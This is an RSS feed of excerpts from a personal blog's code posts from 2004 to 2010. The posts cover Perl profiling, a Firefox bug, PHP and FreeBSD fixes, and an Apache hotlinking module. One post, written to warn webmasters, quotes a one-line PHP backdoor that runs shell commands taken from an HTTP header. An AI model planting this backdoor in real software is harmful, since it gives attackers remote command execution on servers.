<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>dpk's weblog &#187; Code</title>
	<atom:link href="http://dpk.net/category/code/feed/" rel="self" type="application/rss+xml" />
	<link>http://dpk.net</link>
	<description>oh you want the time travel spinning head?</description>
	<lastBuildDate>Sun, 25 Jul 2010 00:54:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>perl, string compare, dprof</title>
		<link>http://dpk.net/2008/07/25/perl-string-compare-dprof/</link>
		<comments>http://dpk.net/2008/07/25/perl-string-compare-dprof/#comments</comments>
		<pubDate>Fri, 25 Jul 2008 19:44:49 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://dpk.net/?p=323</guid>
		<description><![CDATA[This may be old news for people more familiar with perl internals. dpk@dpk1:~$ perl -version &#124; head -2 This is perl, v5.8.8 built for i486-linux-gnu-thread-multi dpk@dpk1:~$ cat test1.pl #!/usr/bin/perl use strict; my $x = 0; while ($x &#60; 100) { &#038;doit(); $x++; } sub doit() { my $foo = 'foobar'; my $x = 0; my [...]]]></description>
		<wfw:commentRss>http://dpk.net/2008/07/25/perl-string-compare-dprof/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Annoying Firefox Bug</title>
		<link>http://dpk.net/2008/01/08/annoying-firefox-bug/</link>
		<comments>http://dpk.net/2008/01/08/annoying-firefox-bug/#comments</comments>
		<pubDate>Tue, 08 Jan 2008 21:47:08 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://dpk.net/?p=309</guid>
		<description><![CDATA[There are sites out there (in the tired &#8220;Rick Roll&#8221; category) that make it hard to close a tab, by adding hooks that allow for dozens or hundreds of alert dialog boxes to appear, preventing the tab from closing. One is http://www.internetisseriousbusiness.com. Don&#8217;t go to this site, unless you want to see the bug in [...]]]></description>
		<wfw:commentRss>http://dpk.net/2008/01/08/annoying-firefox-bug/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Quality with a capital P</title>
		<link>http://dpk.net/2007/07/19/quality-with-a-capital-p/</link>
		<comments>http://dpk.net/2007/07/19/quality-with-a-capital-p/#comments</comments>
		<pubDate>Thu, 19 Jul 2007 17:47:48 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://dpk.net/2007/07/19/quality-with-a-capital-p/</guid>
		<description><![CDATA[The pdf extension library shipped with PHP-4.4.7 doesn&#8217;t work, and it&#8217;s a known &#8220;non-bug&#8221;. I&#8217;m not sure why they still ship the broken library. I installed the PECL version, via pear (my first time trying that), and that was pretty painless. It created a pdf.so and put it in some long /usr/local/lib path. So I [...]]]></description>
		<wfw:commentRss>http://dpk.net/2007/07/19/quality-with-a-capital-p/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Commonly found PHP backdoors, Vol. 1</title>
		<link>http://dpk.net/2006/02/27/commonly-found-php-backdoors-vol-1/</link>
		<comments>http://dpk.net/2006/02/27/commonly-found-php-backdoors-vol-1/#comments</comments>
		<pubDate>Mon, 27 Feb 2006 19:22:23 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://dpk.net/2006/02/27/commonly-found-php-backdoors-vol-1/</guid>
		<description><![CDATA[Are you a webmaster who is concerned about hackers infesting your sites? Well, be on the look out for crud like this: &#60;? passthru(getenv(&#8220;HTTP_ACCEPT_jayman&#8221;)); ?&#62; This script can be used by sending whatever command you want in a &#8220;Accept-jayman:&#8221; HTTP header. &#8220;jayman&#8221; is just an example (a prevelant one), it could be anything. This can [...]]]></description>
		<wfw:commentRss>http://dpk.net/2006/02/27/commonly-found-php-backdoors-vol-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Stability rant from unixblog</title>
		<link>http://dpk.net/2005/03/21/stability-rant-from-unixblog/</link>
		<comments>http://dpk.net/2005/03/21/stability-rant-from-unixblog/#comments</comments>
		<pubDate>Mon, 21 Mar 2005 23:36:48 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>

		<guid isPermaLink="false">http://www.dpk.net/?p=51</guid>
		<description><![CDATA[When is stability going to finally trump features? In just about anything related to computers, there’s a tug of war between adding new features or fixing bugs. &#8230; in the general computing world, people don’t get sued for bugs, and adding new features is much more fun and sexy than fixing bugs. I&#8217;m in total [...]]]></description>
		<wfw:commentRss>http://dpk.net/2005/03/21/stability-rant-from-unixblog/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FreeBSD ports fix</title>
		<link>http://dpk.net/2005/02/02/freebsd-ports-fix/</link>
		<comments>http://dpk.net/2005/02/02/freebsd-ports-fix/#comments</comments>
		<pubDate>Thu, 03 Feb 2005 01:52:44 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[FreeBSD]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.dpk.net/?p=31</guid>
		<description><![CDATA[If you ever find yourself in my situation, where installing some updated port from a relatively freshly done cvsup ends up breaking a couple dozen other programs because it decided to upgrade several libraries, you might find the following for loop useful: cd /usr/X11R6/bin &#38;&#38; for m in $(for l in $(for j in $(for [...]]]></description>
		<wfw:commentRss>http://dpk.net/2005/02/02/freebsd-ports-fix/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>mod_hotlink 1.0 released</title>
		<link>http://dpk.net/2004/11/15/mod_hotlink-10-released/</link>
		<comments>http://dpk.net/2004/11/15/mod_hotlink-10-released/#comments</comments>
		<pubDate>Mon, 15 Nov 2004 18:27:41 +0000</pubDate>
		<dc:creator>dpk</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.dpk.net/?p=22</guid>
		<description><![CDATA[mod_hotlink is some software I wrote ages ago to deal with the problem of how to politely* prevent one site from linking to images on another, without using tons of CPU (as does mod_rewrite solutions) From the README: Protects non-text content against &#8220;hotlinking&#8221; &#8211; a method for stealing bandwidth by linking images and content from [...]]]></description>
		<wfw:commentRss>http://dpk.net/2004/11/15/mod_hotlink-10-released/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
